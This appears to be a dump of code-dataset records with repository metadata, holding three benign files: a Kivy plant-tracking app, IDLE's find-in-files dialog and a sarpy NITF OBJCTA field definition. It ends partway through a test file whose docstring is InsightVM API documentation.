7697bb7595bf008cf3b34209aa4fe2ee385b58f7
[ "MIT" ]
null
null
null
main.py
Pop-DJ/Plant_data_base_app
7697bb7595bf008cf3b34209aa4fe2ee385b58f7
[ "MIT" ]
null
null
null
import kivy kivy.require('1.9.0') from kivy.app import App from kivy.properties import ObjectProperty, StringProperty from kivy.uix.listview import ListItemButton from kivy.uix.boxlayout import BoxLayout from kivy.uix.screenmanager import ScreenManager, Screen temp_x= "temp" temp_y= "temp" class PlantListButton(ListItemButton): pass class PlantDB(BoxLayout, Screen): plant_name_text_input = ObjectProperty() date_text_input = ObjectProperty() plant_list = ObjectProperty() app= App.get_running_app() def load_list(self): try: with open("plants.txt", "r") as f: x=f.readline() while x: plant_name= x.rstrip() #add tp plant vview self.plant_list.adapter.data.extend([plant_name]) #reset the pplant view self.plant_list._trigger_reset_populate() x = f.readline() except: pass def plant_plant(self): #get plant name from text plant_name = self.plant_name_text_input.text+"_" +self.date_text_input.text #write to plant database file with open("plants.txt", "a") as f: f.write(plant_name+"\n") #create fle for plant with open(plant_name+".txt", "a") as f: f.write(self.plant_name_text_input.text+" was planted on "+self.date_text_input.text+"\n") #add tp plant vview self.plant_list.adapter.data.extend([plant_name]) #reset the pplant iew self.plant_list._trigger_reset_populate() def plant_edit(self): #if a list item is selected if self.plant_list.adapter.selection: #get the text from item selected self.app.tempx = self.plant_list.adapter.selection[0].text self.manager.get_screen('Plant_Edit').tempx = self.app.tempx def plant_view(self): #if a list item is selected if self.plant_list.adapter.selection: #get the text from item selected and save outside class self.app.tempx = self.plant_list.adapter.selection[0].text #read plant info into variable for display with open(self.app.tempx+".txt", "r") as f: self.app.tempy=f.read() self.manager.get_screen('Plant_View').tempx = self.app.tempx self.manager.get_screen('Plant_View').tempy = self.app.tempy class PlantEdit(BoxLayout, Screen): plant_info_text_input = ObjectProperty() app= App.get_running_app() tempx= StringProperty() def plant_update(self): #get plant update information from text plant_update = self.plant_info_text_input.text #write to plant file with open(self.tempx+".txt", "a") as f: f.write(plant_update+"\n") class PlantView(BoxLayout, Screen): app= App.get_running_app() tempx= StringProperty() tempy= StringProperty() class PlantDBApp(App): tempx = StringProperty() tempy = StringProperty() def build(self): screen_manager= ScreenManager() screen_manager.add_widget(PlantDB(name="Plant_DB")) screen_manager.add_widget(PlantEdit(name="Plant_Edit")) screen_manager.add_widget(PlantView(name="Plant_View")) return screen_manager dbapp = PlantDBApp() dbapp.run()
31.107143
102
0.617107
import kivy kivy.require('1.9.0') from kivy.app import App from kivy.properties import ObjectProperty, StringProperty from kivy.uix.listview import ListItemButton from kivy.uix.boxlayout import BoxLayout from kivy.uix.screenmanager import ScreenManager, Screen temp_x= "temp" temp_y= "temp" class PlantListButton(ListItemButton): pass class PlantDB(BoxLayout, Screen): plant_name_text_input = ObjectProperty() date_text_input = ObjectProperty() plant_list = ObjectProperty() app= App.get_running_app() def load_list(self): try: with open("plants.txt", "r") as f: x=f.readline() while x: plant_name= x.rstrip() self.plant_list.adapter.data.extend([plant_name]) self.plant_list._trigger_reset_populate() x = f.readline() except: pass def plant_plant(self): plant_name = self.plant_name_text_input.text+"_" +self.date_text_input.text with open("plants.txt", "a") as f: f.write(plant_name+"\n") with open(plant_name+".txt", "a") as f: f.write(self.plant_name_text_input.text+" was planted on "+self.date_text_input.text+"\n") self.plant_list.adapter.data.extend([plant_name]) self.plant_list._trigger_reset_populate() def plant_edit(self): if self.plant_list.adapter.selection: self.app.tempx = self.plant_list.adapter.selection[0].text self.manager.get_screen('Plant_Edit').tempx = self.app.tempx def plant_view(self): if self.plant_list.adapter.selection: self.app.tempx = self.plant_list.adapter.selection[0].text with open(self.app.tempx+".txt", "r") as f: self.app.tempy=f.read() self.manager.get_screen('Plant_View').tempx = self.app.tempx self.manager.get_screen('Plant_View').tempy = self.app.tempy class PlantEdit(BoxLayout, Screen): plant_info_text_input = ObjectProperty() app= App.get_running_app() tempx= StringProperty() def plant_update(self): plant_update = self.plant_info_text_input.text with open(self.tempx+".txt", "a") as f: f.write(plant_update+"\n") class PlantView(BoxLayout, Screen): app= App.get_running_app() tempx= StringProperty() tempy= StringProperty() class PlantDBApp(App): tempx = StringProperty() tempy = StringProperty() def build(self): screen_manager= ScreenManager() screen_manager.add_widget(PlantDB(name="Plant_DB")) screen_manager.add_widget(PlantEdit(name="Plant_Edit")) screen_manager.add_widget(PlantView(name="Plant_View")) return screen_manager dbapp = PlantDBApp() dbapp.run()
true
true
f73d70a5c58fea2b34fa8d39b7f260309d7f7312
4,110
py
Python
bin/Lib/idlelib/GrepDialog.py
yousafsyed/casperjs
ed077ae9e42cf8fb9e023e9b6840d3cea11bac40
[ "MIT" ]
1
2020-05-25T22:18:25.000Z
2020-05-25T22:18:25.000Z
bin/Lib/idlelib/GrepDialog.py
yousafsyed/casperjs
ed077ae9e42cf8fb9e023e9b6840d3cea11bac40
[ "MIT" ]
null
null
null
bin/Lib/idlelib/GrepDialog.py
yousafsyed/casperjs
ed077ae9e42cf8fb9e023e9b6840d3cea11bac40
[ "MIT" ]
1
2019-09-18T05:37:46.000Z
2019-09-18T05:37:46.000Z
import os import fnmatch import sys from tkinter import * from idlelib import SearchEngine from idlelib.SearchDialogBase import SearchDialogBase def grep(text, io=None, flist=None): root = text._root() engine = SearchEngine.get(root) if not hasattr(engine, "_grepdialog"): engine._grepdialog = GrepDialog(root, engine, flist) dialog = engine._grepdialog searchphrase = text.get("sel.first", "sel.last") dialog.open(text, searchphrase, io) class GrepDialog(SearchDialogBase): title = "Find in Files Dialog" icon = "Grep" needwrapbutton = 0 def __init__(self, root, engine, flist): SearchDialogBase.__init__(self, root, engine) self.flist = flist self.globvar = StringVar(root) self.recvar = BooleanVar(root) def open(self, text, searchphrase, io=None): SearchDialogBase.open(self, text, searchphrase) if io: path = io.filename or "" else: path = "" dir, base = os.path.split(path) head, tail = os.path.splitext(base) if not tail: tail = ".py" self.globvar.set(os.path.join(dir, "*" + tail)) def create_entries(self): SearchDialogBase.create_entries(self) self.globent = self.make_entry("In files:", self.globvar) def create_other_buttons(self): f = self.make_frame() btn = Checkbutton(f, anchor="w", variable=self.recvar, text="Recurse down subdirectories") btn.pack(side="top", fill="both") btn.select() def create_command_buttons(self): SearchDialogBase.create_command_buttons(self) self.make_button("Search Files", self.default_command, 1) def default_command(self, event=None): prog = self.engine.getprog() if not prog: return path = self.globvar.get() if not path: self.top.bell() return from idlelib.OutputWindow import OutputWindow save = sys.stdout try: sys.stdout = OutputWindow(self.flist) self.grep_it(prog, path) finally: sys.stdout = save def grep_it(self, prog, path): dir, base = os.path.split(path) list = self.findfiles(dir, base, self.recvar.get()) list.sort() self.close() pat = self.engine.getpat() print("Searching %r in %s ..." % (pat, path)) hits = 0 for fn in list: try: with open(fn, errors='replace') as f: for lineno, line in enumerate(f, 1): if line[-1:] == '\n': line = line[:-1] if prog.search(line): sys.stdout.write("%s: %s: %s\n" % (fn, lineno, line)) hits += 1 except OSError as msg: print(msg) print(("Hits found: %s\n" "(Hint: right-click to open locations.)" % hits) if hits else "No hits.") def findfiles(self, dir, base, rec): try: names = os.listdir(dir or os.curdir) except OSError as msg: print(msg) return [] list = [] subdirs = [] for name in names: fn = os.path.join(dir, name) if os.path.isdir(fn): subdirs.append(fn) else: if fnmatch.fnmatch(name, base): list.append(fn) if rec: for subdir in subdirs: list.extend(self.findfiles(subdir, base, rec)) return list def close(self, event=None): if self.top: self.top.grab_release() self.top.withdraw() if __name__ == "__main__": # A human test is a bit tricky since EditorWindow() imports this module. # Hence Idle must be restarted after editing this file for a live test. import unittest unittest.main('idlelib.idle_test.test_grep', verbosity=2, exit=False)
32.109375
76
0.546715
import os import fnmatch import sys from tkinter import * from idlelib import SearchEngine from idlelib.SearchDialogBase import SearchDialogBase def grep(text, io=None, flist=None): root = text._root() engine = SearchEngine.get(root) if not hasattr(engine, "_grepdialog"): engine._grepdialog = GrepDialog(root, engine, flist) dialog = engine._grepdialog searchphrase = text.get("sel.first", "sel.last") dialog.open(text, searchphrase, io) class GrepDialog(SearchDialogBase): title = "Find in Files Dialog" icon = "Grep" needwrapbutton = 0 def __init__(self, root, engine, flist): SearchDialogBase.__init__(self, root, engine) self.flist = flist self.globvar = StringVar(root) self.recvar = BooleanVar(root) def open(self, text, searchphrase, io=None): SearchDialogBase.open(self, text, searchphrase) if io: path = io.filename or "" else: path = "" dir, base = os.path.split(path) head, tail = os.path.splitext(base) if not tail: tail = ".py" self.globvar.set(os.path.join(dir, "*" + tail)) def create_entries(self): SearchDialogBase.create_entries(self) self.globent = self.make_entry("In files:", self.globvar) def create_other_buttons(self): f = self.make_frame() btn = Checkbutton(f, anchor="w", variable=self.recvar, text="Recurse down subdirectories") btn.pack(side="top", fill="both") btn.select() def create_command_buttons(self): SearchDialogBase.create_command_buttons(self) self.make_button("Search Files", self.default_command, 1) def default_command(self, event=None): prog = self.engine.getprog() if not prog: return path = self.globvar.get() if not path: self.top.bell() return from idlelib.OutputWindow import OutputWindow save = sys.stdout try: sys.stdout = OutputWindow(self.flist) self.grep_it(prog, path) finally: sys.stdout = save def grep_it(self, prog, path): dir, base = os.path.split(path) list = self.findfiles(dir, base, self.recvar.get()) list.sort() self.close() pat = self.engine.getpat() print("Searching %r in %s ..." % (pat, path)) hits = 0 for fn in list: try: with open(fn, errors='replace') as f: for lineno, line in enumerate(f, 1): if line[-1:] == '\n': line = line[:-1] if prog.search(line): sys.stdout.write("%s: %s: %s\n" % (fn, lineno, line)) hits += 1 except OSError as msg: print(msg) print(("Hits found: %s\n" "(Hint: right-click to open locations.)" % hits) if hits else "No hits.") def findfiles(self, dir, base, rec): try: names = os.listdir(dir or os.curdir) except OSError as msg: print(msg) return [] list = [] subdirs = [] for name in names: fn = os.path.join(dir, name) if os.path.isdir(fn): subdirs.append(fn) else: if fnmatch.fnmatch(name, base): list.append(fn) if rec: for subdir in subdirs: list.extend(self.findfiles(subdir, base, rec)) return list def close(self, event=None): if self.top: self.top.grab_release() self.top.withdraw() if __name__ == "__main__": import unittest unittest.main('idlelib.idle_test.test_grep', verbosity=2, exit=False)
true
true
f73d70f8c5fed93f329168d9bef40d1ef1bab910
2,055
py
Python
sarpy/io/nitf/tres/unclass/OBJCTA.py
anielsen001/sarpy
07bf157f54a5304185fc0e1c34010053fd6ae9d9
[ "MIT" ]
null
null
null
sarpy/io/nitf/tres/unclass/OBJCTA.py
anielsen001/sarpy
07bf157f54a5304185fc0e1c34010053fd6ae9d9
[ "MIT" ]
null
null
null
sarpy/io/nitf/tres/unclass/OBJCTA.py
anielsen001/sarpy
07bf157f54a5304185fc0e1c34010053fd6ae9d9
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from ..tre_elements import TREExtension, TREElement __classification__ = "UNCLASSIFIED" __author__ = "Thomas McCullough" class OBJ(TREElement): def __init__(self, value): super(OBJ, self).__init__() self.add_field('OBJ_TY', 's', 20, value) self.add_field('OBJ_NM', 's', 15, value) self.add_field('OBJ_POS', 's', 2, value) self.add_field('OBJ_SN', 's', 10, value) self.add_field('OBJ_LL', 's', 21, value) self.add_field('OBJ_ELEV', 's', 8, value) self.add_field('OBJ_ROW', 's', 8, value) self.add_field('OBJ_COL', 's', 8, value) self.add_field('OBJ_PROW', 's', 8, value) self.add_field('OBJ_PCOL', 's', 8, value) self.add_field('OBJ_ATTR', 's', 20, value) self.add_field('OBJ_SEN', 's', 2, value) if self.OBJ_SEN == 'R': self.add_field('OBJ_AZ_3DB_WIDTH', 's', 7, value) self.add_field('OBJ_RNG_3DB_WIDTH', 's', 7, value) self.add_field('OBJ_AZ_18DB_WIDTH', 's', 7, value) self.add_field('OBJ_RNG_18DB_WIDTH', 's', 7, value) self.add_field('OBJ_AZ_3_18DB_RATIO', 's', 8, value) self.add_field('OBJ_RNG_3_18DB_RATIO', 's', 8, value) self.add_field('OBJ_AZ_PK_SL_RATIO', 's', 8, value) self.add_field('OBJ_RNG_PK_SL_RATIO', 's', 8, value) self.add_field('OBJ_AZ_INT_SL_RATIO', 's', 8, value) self.add_field('OBJ_RNGINT_SL_RATIO', 's', 8, value) elif self.OBJ_SEN in ['EO', 'IR']: self.add_field('OBJ_CAL_TEMP', 's', 6, value) class OBJCTAType(TREElement): def __init__(self, value): super(OBJCTAType, self).__init__() self.add_field('VERNUM', 'd', 4, value) self.add_field('NUM_OBJ', 'd', 3, value) self.add_field('OBJ_REF', 's', 10, value) self.add_field('NUM_SCENE_OBJ', 'd', 3, value) self.add_loop('OBJs', self.NUM_OBJ, OBJ, value) class OBJCTA(TREExtension): _tag_value = 'OBJCTA' _data_type = OBJCTAType
39.519231
65
0.596594
from ..tre_elements import TREExtension, TREElement __classification__ = "UNCLASSIFIED" __author__ = "Thomas McCullough" class OBJ(TREElement): def __init__(self, value): super(OBJ, self).__init__() self.add_field('OBJ_TY', 's', 20, value) self.add_field('OBJ_NM', 's', 15, value) self.add_field('OBJ_POS', 's', 2, value) self.add_field('OBJ_SN', 's', 10, value) self.add_field('OBJ_LL', 's', 21, value) self.add_field('OBJ_ELEV', 's', 8, value) self.add_field('OBJ_ROW', 's', 8, value) self.add_field('OBJ_COL', 's', 8, value) self.add_field('OBJ_PROW', 's', 8, value) self.add_field('OBJ_PCOL', 's', 8, value) self.add_field('OBJ_ATTR', 's', 20, value) self.add_field('OBJ_SEN', 's', 2, value) if self.OBJ_SEN == 'R': self.add_field('OBJ_AZ_3DB_WIDTH', 's', 7, value) self.add_field('OBJ_RNG_3DB_WIDTH', 's', 7, value) self.add_field('OBJ_AZ_18DB_WIDTH', 's', 7, value) self.add_field('OBJ_RNG_18DB_WIDTH', 's', 7, value) self.add_field('OBJ_AZ_3_18DB_RATIO', 's', 8, value) self.add_field('OBJ_RNG_3_18DB_RATIO', 's', 8, value) self.add_field('OBJ_AZ_PK_SL_RATIO', 's', 8, value) self.add_field('OBJ_RNG_PK_SL_RATIO', 's', 8, value) self.add_field('OBJ_AZ_INT_SL_RATIO', 's', 8, value) self.add_field('OBJ_RNGINT_SL_RATIO', 's', 8, value) elif self.OBJ_SEN in ['EO', 'IR']: self.add_field('OBJ_CAL_TEMP', 's', 6, value) class OBJCTAType(TREElement): def __init__(self, value): super(OBJCTAType, self).__init__() self.add_field('VERNUM', 'd', 4, value) self.add_field('NUM_OBJ', 'd', 3, value) self.add_field('OBJ_REF', 's', 10, value) self.add_field('NUM_SCENE_OBJ', 'd', 3, value) self.add_loop('OBJs', self.NUM_OBJ, OBJ, value) class OBJCTA(TREExtension): _tag_value = 'OBJCTA' _data_type = OBJCTAType
true
true
f73d715386bdc7e5ed7e6f3c7b59b95d097ad367
49,024
py
Python
test/test_scan_template_service_discovery_tcp.py
pdeardorff-r7/vm-console-client-python
4bee83aa4db2b328ba6894cebac55743f922ce5a
[ "MIT" ]
null
null
null
test/test_scan_template_service_discovery_tcp.py
pdeardorff-r7/vm-console-client-python
4bee83aa4db2b328ba6894cebac55743f922ce5a
[ "MIT" ]
null
null
null
test/test_scan_template_service_discovery_tcp.py
pdeardorff-r7/vm-console-client-python
4bee83aa4db2b328ba6894cebac55743f922ce5a
[ "MIT" ]
null
null
null
# coding: utf-8 """ InsightVM API # Overview This guide documents the InsightVM Application Programming Interface (API) Version 3. This API supports the Representation State Transfer (REST) design pattern. Unless noted otherwise this API accepts and produces the `application/json` media type. This API uses Hypermedia as the Engine of Application State (HATEOAS) and is hypermedia friendly. All API connections must be made to the security console using HTTPS. ## Versioning Versioning is specified in the URL and the base path of this API is: `https://<host>:<port>/api/3/`. ## Specification An <a target=\"_blank\" href=\"https://github.com/OAI/OpenAPI-Specification/blob/master/versions/2.0.md\">OpenAPI v2</a> specification (also known as Swagger 2) of this API is available. Tools such as <a target=\"_blank\" href=\"https://github.com/swagger-api/swagger-codegen\">swagger-codegen</a> can be used to generate an API client in the language of your choosing using this specification document. <p class=\"openapi\">Download the specification: <a class=\"openapi-button\" target=\"_blank\" download=\"\" href=\"/api/3/json\"> Download </a></p> ## Authentication Authorization to the API uses HTTP Basic Authorization (see <a target=\"_blank\" href=\"https://www.ietf.org/rfc/rfc2617.txt\">RFC 2617</a> for more information). Requests must supply authorization credentials in the `Authorization` header using a Base64 encoded hash of `\"username:password\"`. <!-- ReDoc-Inject: <security-definitions> --> ### 2FA This API supports two-factor authentication (2FA) by supplying an authentication token in addition to the Basic Authorization. The token is specified using the `Token` request header. To leverage two-factor authentication, this must be enabled on the console and be configured for the account accessing the API. ## Resources ### Naming Resource names represent nouns and identify the entity being manipulated or accessed. All collection resources are pluralized to indicate to the client they are interacting with a collection of multiple resources of the same type. Singular resource names are used when there exists only one resource available to interact with. The following naming conventions are used by this API: | Type | Case | | --------------------------------------------- | ------------------------ | | Resource names | `lower_snake_case` | | Header, body, and query parameters parameters | `camelCase` | | JSON fields and property names | `camelCase` | #### Collections A collection resource is a parent resource for instance resources, but can itself be retrieved and operated on independently. Collection resources use a pluralized resource name. The resource path for collection resources follow the convention: ``` /api/3/{resource_name} ``` #### Instances An instance resource is a \"leaf\" level resource that may be retrieved, optionally nested within a collection resource. Instance resources are usually retrievable with opaque identifiers. The resource path for instance resources follows the convention: ``` /api/3/{resource_name}/{instance_id}... ``` ## Verbs The following HTTP operations are supported throughout this API. The general usage of the operation and both its failure and success status codes are outlined below. | Verb | Usage | Success | Failure | | --------- | ------------------------------------------------------------------------------------- | ----------- | -------------------------------------------------------------- | | `GET` | Used to retrieve a resource by identifier, or a collection of resources by type. | `200` | `400`, `401`, `402`, `404`, `405`, `408`, `410`, `415`, `500` | | `POST` | Creates a resource with an application-specified identifier. | `201` | `400`, `401`, `404`, `405`, `408`, `413`, `415`, `500` | | `POST` | Performs a request to queue an asynchronous job. | `202` | `400`, `401`, `405`, `408`, `410`, `413`, `415`, `500` | | `PUT` | Creates a resource with a client-specified identifier. | `200` | `400`, `401`, `403`, `405`, `408`, `410`, `413`, `415`, `500` | | `PUT` | Performs a full update of a resource with a specified identifier. | `201` | `400`, `401`, `403`, `405`, `408`, `410`, `413`, `415`, `500` | | `DELETE` | Deletes a resource by identifier or an entire collection of resources. | `204` | `400`, `401`, `405`, `408`, `410`, `413`, `415`, `500` | | `OPTIONS` | Requests what operations are available on a resource. | `200` | `401`, `404`, `405`, `408`, `500` | ### Common Operations #### OPTIONS All resources respond to the `OPTIONS` request, which allows discoverability of available operations that are supported. The `OPTIONS` response returns the acceptable HTTP operations on that resource within the `Allow` header. The response is always a `200 OK` status. ### Collection Resources Collection resources can support the `GET`, `POST`, `PUT`, and `DELETE` operations. #### GET The `GET` operation invoked on a collection resource indicates a request to retrieve all, or some, of the entities contained within the collection. This also includes the optional capability to filter or search resources during the request. The response from a collection listing is a paginated document. See [hypermedia links](#section/Overview/Paging) for more information. #### POST The `POST` is a non-idempotent operation that allows for the creation of a new resource when the resource identifier is not provided by the system during the creation operation (i.e. the Security Console generates the identifier). The content of the `POST` request is sent in the request body. The response to a successful `POST` request should be a `201 CREATED` with a valid `Location` header field set to the URI that can be used to access to the newly created resource. The `POST` to a collection resource can also be used to interact with asynchronous resources. In this situation, instead of a `201 CREATED` response, the `202 ACCEPTED` response indicates that processing of the request is not fully complete but has been accepted for future processing. This request will respond similarly with a `Location` header with link to the job-oriented asynchronous resource that was created and/or queued. #### PUT The `PUT` is an idempotent operation that either performs a create with user-supplied identity, or a full replace or update of a resource by a known identifier. The response to a `PUT` operation to create an entity is a `201 Created` with a valid `Location` header field set to the URI that can be used to access to the newly created resource. `PUT` on a collection resource replaces all values in the collection. The typical response to a `PUT` operation that updates an entity is hypermedia links, which may link to related resources caused by the side-effects of the changes performed. #### DELETE The `DELETE` is an idempotent operation that physically deletes a resource, or removes an association between resources. The typical response to a `DELETE` operation is hypermedia links, which may link to related resources caused by the side-effects of the changes performed. ### Instance Resources Instance resources can support the `GET`, `PUT`, `POST`, `PATCH` and `DELETE` operations. #### GET Retrieves the details of a specific resource by its identifier. The details retrieved can be controlled through property selection and property views. The content of the resource is returned within the body of the response in the acceptable media type. #### PUT Allows for and idempotent \"full update\" (complete replacement) on a specific resource. If the resource does not exist, it will be created; if it does exist, it is completely overwritten. Any omitted properties in the request are assumed to be undefined/null. For \"partial updates\" use `POST` or `PATCH` instead. The content of the `PUT` request is sent in the request body. The identifier of the resource is specified within the URL (not the request body). The response to a successful `PUT` request is a `201 CREATED` to represent the created status, with a valid `Location` header field set to the URI that can be used to access to the newly created (or fully replaced) resource. #### POST Performs a non-idempotent creation of a new resource. The `POST` of an instance resource most commonly occurs with the use of nested resources (e.g. searching on a parent collection resource). The response to a `POST` of an instance resource is typically a `200 OK` if the resource is non-persistent, and a `201 CREATED` if there is a resource created/persisted as a result of the operation. This varies by endpoint. #### PATCH The `PATCH` operation is used to perform a partial update of a resource. `PATCH` is a non-idempotent operation that enforces an atomic mutation of a resource. Only the properties specified in the request are to be overwritten on the resource it is applied to. If a property is missing, it is assumed to not have changed. #### DELETE Permanently removes the individual resource from the system. If the resource is an association between resources, only the association is removed, not the resources themselves. A successful deletion of the resource should return `204 NO CONTENT` with no response body. This operation is not fully idempotent, as follow-up requests to delete a non-existent resource should return a `404 NOT FOUND`. ## Requests Unless otherwise indicated, the default request body media type is `application/json`. ### Headers Commonly used request headers include: | Header | Example | Purpose | | ------------------ | --------------------------------------------- | ---------------------------------------------------------------------------------------------- | | `Accept` | `application/json` | Defines what acceptable content types are allowed by the client. For all types, use `*/*`. | | `Accept-Encoding` | `deflate, gzip` | Allows for the encoding to be specified (such as gzip). | | `Accept-Language` | `en-US` | Indicates to the server the client's locale (defaults `en-US`). | | `Authorization ` | `Basic Base64(\"username:password\")` | Basic authentication | | `Token ` | `123456` | Two-factor authentication token (if enabled) | ### Dates & Times Dates and/or times are specified as strings in the ISO 8601 format(s). The following formats are supported as input: | Value | Format | Notes | | --------------------------- | ------------------------------------------------------ | ----------------------------------------------------- | | Date | YYYY-MM-DD | Defaults to 12 am UTC (if used for a date & time | | Date & time only | YYYY-MM-DD'T'hh:mm:ss[.nnn] | Defaults to UTC | | Date & time in UTC | YYYY-MM-DD'T'hh:mm:ss[.nnn]Z | | | Date & time w/ offset | YYYY-MM-DD'T'hh:mm:ss[.nnn][+&#124;-]hh:mm | | | Date & time w/ zone-offset | YYYY-MM-DD'T'hh:mm:ss[.nnn][+&#124;-]hh:mm[<zone-id>] | | ### Timezones Timezones are specified in the regional zone format, such as `\"America/Los_Angeles\"`, `\"Asia/Tokyo\"`, or `\"GMT\"`. ### Paging Pagination is supported on certain collection resources using a combination of two query parameters, `page` and `size`. As these are control parameters, they are prefixed with the underscore character. The page parameter dictates the zero-based index of the page to retrieve, and the `size` indicates the size of the page. For example, `/resources?page=2&size=10` will return page 3, with 10 records per page, giving results 21-30. The maximum page size for a request is 500. ### Sorting Sorting is supported on paginated resources with the `sort` query parameter(s). The sort query parameter(s) supports identifying a single or multi-property sort with a single or multi-direction output. The format of the parameter is: ``` sort=property[,ASC|DESC]... ``` Therefore, the request `/resources?sort=name,title,DESC` would return the results sorted by the name and title descending, in that order. The sort directions are either ascending `ASC` or descending `DESC`. With single-order sorting, all properties are sorted in the same direction. To sort the results with varying orders by property, multiple sort parameters are passed. For example, the request `/resources?sort=name,ASC&sort=title,DESC` would sort by name ascending and title descending, in that order. ## Responses The following response statuses may be returned by this API. | Status | Meaning | Usage | | ------ | ------------------------ |------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `200` | OK | The operation performed without error according to the specification of the request, and no more specific 2xx code is suitable. | | `201` | Created | A create request has been fulfilled and a resource has been created. The resource is available as the URI specified in the response, including the `Location` header. | | `202` | Accepted | An asynchronous task has been accepted, but not guaranteed, to be processed in the future. | | `400` | Bad Request | The request was invalid or cannot be otherwise served. The request is not likely to succeed in the future without modifications. | | `401` | Unauthorized | The user is unauthorized to perform the operation requested, or does not maintain permissions to perform the operation on the resource specified. | | `403` | Forbidden | The resource exists to which the user has access, but the operating requested is not permitted. | | `404` | Not Found | The resource specified could not be located, does not exist, or an unauthenticated client does not have permissions to a resource. | | `405` | Method Not Allowed | The operations may not be performed on the specific resource. Allowed operations are returned and may be performed on the resource. | | `408` | Request Timeout | The client has failed to complete a request in a timely manner and the request has been discarded. | | `413` | Request Entity Too Large | The request being provided is too large for the server to accept processing. | | `415` | Unsupported Media Type | The media type is not supported for the requested resource. | | `500` | Internal Server Error | An internal and unexpected error has occurred on the server at no fault of the client. | ### Security The response statuses 401, 403 and 404 need special consideration for security purposes. As necessary, error statuses and messages may be obscured to strengthen security and prevent information exposure. The following is a guideline for privileged resource response statuses: | Use Case | Access | Resource | Permission | Status | | ------------------------------------------------------------------ | ------------------ |------------------- | ------------ | ------------ | | Unauthenticated access to an unauthenticated resource. | Unauthenticated | Unauthenticated | Yes | `20x` | | Unauthenticated access to an authenticated resource. | Unauthenticated | Authenticated | No | `401` | | Unauthenticated access to an authenticated resource. | Unauthenticated | Non-existent | No | `401` | | Authenticated access to a unauthenticated resource. | Authenticated | Unauthenticated | Yes | `20x` | | Authenticated access to an authenticated, unprivileged resource. | Authenticated | Authenticated | No | `404` | | Authenticated access to an authenticated, privileged resource. | Authenticated | Authenticated | Yes | `20x` | | Authenticated access to an authenticated, non-existent resource | Authenticated | Non-existent | Yes | `404` | ### Headers Commonly used response headers include: | Header | Example | Purpose | | -------------------------- | --------------------------------- | --------------------------------------------------------------- | | `Allow` | `OPTIONS, GET` | Defines the allowable HTTP operations on a resource. | | `Cache-Control` | `no-store, must-revalidate` | Disables caching of resources (as they are all dynamic). | | `Content-Encoding` | `gzip` | The encoding of the response body (if any). | | `Location` | | Refers to the URI of the resource created by a request. | | `Transfer-Encoding` | `chunked` | Specified the encoding used to transform response. | | `Retry-After` | 5000 | Indicates the time to wait before retrying a request. | | `X-Content-Type-Options` | `nosniff` | Disables MIME type sniffing. | | `X-XSS-Protection` | `1; mode=block` | Enables XSS filter protection. | | `X-Frame-Options` | `SAMEORIGIN` | Prevents rendering in a frame from a different origin. | | `X-UA-Compatible` | `IE=edge,chrome=1` | Specifies the browser mode to render in. | ### Format When `application/json` is returned in the response body it is always pretty-printed (indented, human readable output). Additionally, gzip compression/encoding is supported on all responses. #### Dates & Times Dates or times are returned as strings in the ISO 8601 'extended' format. When a date and time is returned (instant) the value is converted to UTC. For example: | Value | Format | Example | | --------------- | ------------------------------ | --------------------- | | Date | `YYYY-MM-DD` | 2017-12-03 | | Date & Time | `YYYY-MM-DD'T'hh:mm:ss[.nnn]Z` | 2017-12-03T10:15:30Z | #### Content In some resources a Content data type is used. This allows for multiple formats of representation to be returned within resource, specifically `\"html\"` and `\"text\"`. The `\"text\"` property returns a flattened representation suitable for output in textual displays. The `\"html\"` property returns an HTML fragment suitable for display within an HTML element. Note, the HTML returned is not a valid stand-alone HTML document. #### Paging The response to a paginated request follows the format: ```json { resources\": [ ... ], \"page\": { \"number\" : ..., \"size\" : ..., \"totalResources\" : ..., \"totalPages\" : ... }, \"links\": [ \"first\" : { \"href\" : \"...\" }, \"prev\" : { \"href\" : \"...\" }, \"self\" : { \"href\" : \"...\" }, \"next\" : { \"href\" : \"...\" }, \"last\" : { \"href\" : \"...\" } ] } ``` The `resources` property is an array of the resources being retrieved from the endpoint, each which should contain at minimum a \"self\" relation hypermedia link. The `page` property outlines the details of the current page and total possible pages. The object for the page includes the following properties: - number - The page number (zero-based) of the page returned. - size - The size of the pages, which is less than or equal to the maximum page size. - totalResources - The total amount of resources available across all pages. - totalPages - The total amount of pages. The last property of the paged response is the `links` array, which contains all available hypermedia links. For paginated responses, the \"self\", \"next\", \"previous\", \"first\", and \"last\" links are returned. The \"self\" link must always be returned and should contain a link to allow the client to replicate the original request against the collection resource in an identical manner to that in which it was invoked. The \"next\" and \"previous\" links are present if either or both there exists a previous or next page, respectively. The \"next\" and \"previous\" links have hrefs that allow \"natural movement\" to the next page, that is all parameters required to move the next page are provided in the link. The \"first\" and \"last\" links provide references to the first and last pages respectively. Requests outside the boundaries of the pageable will result in a `404 NOT FOUND`. Paginated requests do not provide a \"stateful cursor\" to the client, nor does it need to provide a read consistent view. Records in adjacent pages may change while pagination is being traversed, and the total number of pages and resources may change between requests within the same filtered/queries resource collection. #### Property Views The \"depth\" of the response of a resource can be configured using a \"view\". All endpoints supports two views that can tune the extent of the information returned in the resource. The supported views are `summary` and `details` (the default). View are specified using a query parameter, in this format: ```bash /<resource>?view={viewName} ``` #### Error Any error responses can provide a response body with a message to the client indicating more information (if applicable) to aid debugging of the error. All 40x and 50x responses will return an error response in the body. The format of the response is as follows: ```json { \"status\": <statusCode>, \"message\": <message>, \"links\" : [ { \"rel\" : \"...\", \"href\" : \"...\" } ] } ``` The `status` property is the same as the HTTP status returned in the response, to ease client parsing. The message property is a localized message in the request client's locale (if applicable) that articulates the nature of the error. The last property is the `links` property. This may contain additional [hypermedia links](#section/Overview/Authentication) to troubleshoot. #### Search Criteria <a section=\"section/Responses/SearchCriteria\"></a> Multiple resources make use of search criteria to match assets. Search criteria is an array of search filters. Each search filter has a generic format of: ```json { \"field\": \"<field-name>\", \"operator\": \"<operator>\", [\"value\": \"<value>\",] [\"lower\": \"<value>\",] [\"upper\": \"<value>\"] } ``` Every filter defines two required properties `field` and `operator`. The field is the name of an asset property that is being filtered on. The operator is a type and property-specific operating performed on the filtered property. The valid values for fields and operators are outlined in the table below. Every filter also defines one or more values that are supplied to the operator. The valid values vary by operator and are outlined below. ##### Fields The following table outlines the search criteria fields and the available operators: | Field | Operators | | --------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ | | `alternate-address-type` | `in` | | `container-image` | `is` ` is not` ` starts with` ` ends with` ` contains` ` does not contain` ` is like` ` not like` | | `container-status` | `is` ` is not` | | `containers` | `are` | | `criticality-tag` | `is` ` is not` ` is greater than` 